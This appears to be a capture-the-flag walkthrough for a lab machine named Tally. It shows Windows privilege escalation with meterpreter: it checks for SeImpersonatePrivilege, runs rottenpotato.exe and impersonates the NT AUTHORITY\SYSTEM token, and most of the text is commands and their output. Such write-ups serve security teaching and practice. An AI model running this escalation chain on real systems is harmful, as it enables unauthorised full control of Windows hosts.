The info in this page info was extracted from this post
Service accounts usually have special privileges (SeImpersonatePrivileges) and this could be used to escalate privileges.
I won’t go into the details on how this exploit works, the article above explains it far better than I ever could.
Let’s check our privileges with meterpreter:
meterpreter > getprivs
Enabled Process Privileges
==========================
Name
----
SeAssignPrimaryTokenPrivilege
SeChangeNotifyPrivilege
SeCreateGlobalPrivilege
SeImpersonatePrivilege
SeIncreaseQuotaPrivilege
SeIncreaseWorkingSetPrivilege
Excellent, it looks like we have the privileges we need to perform the attack. Let’s upload rottenpotato.exe
Back on our meterpreter session we load the incognito extension.
meterpreter > use incognito
Loading extension incognito...Success.
meterpreter > list_tokens -u
[-] Warning: Not currently running as SYSTEM, not all tokens will beavailable
Call rev2self if primary process token is SYSTEM
Delegation Tokens Available
========================================
NT SERVICE\SQLSERVERAGENT
NT SERVICE\SQLTELEMETRY
TALLY\Sarah
Impersonation Tokens Available
========================================
No tokens available
We can see we currently have no Impersonation Tokens. Let’s run the Rotten Potato exploit.
meterpreter > execute -f rottenpotato.exe -Hc
Process 3104 created.
Channel 2 created.
meterpreter > list_tokens -u
[-] Warning: Not currently running as SYSTEM, not all tokens will beavailable
Call rev2self if primary process token is SYSTEM
Delegation Tokens Available
========================================
NT SERVICE\SQLSERVERAGENT
NT SERVICE\SQLTELEMETRY
TALLY\Sarah
Impersonation Tokens Available
========================================
NT AUTHORITY\SYSTEM
We need to quickly impersonate the token or it will disappear.
meterpreter > impersonate_token "NT AUTHORITY\\SYSTEM"
[-] Warning: Not currently running as SYSTEM, not all tokens will beavailable
Call rev2self if primary process token is SYSTEM
[-] No delegation token available
[+] Successfully impersonated user NT AUTHORITY\SYSTEM
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
Success! We have our SYSTEM shell and can grab the root.txt file!
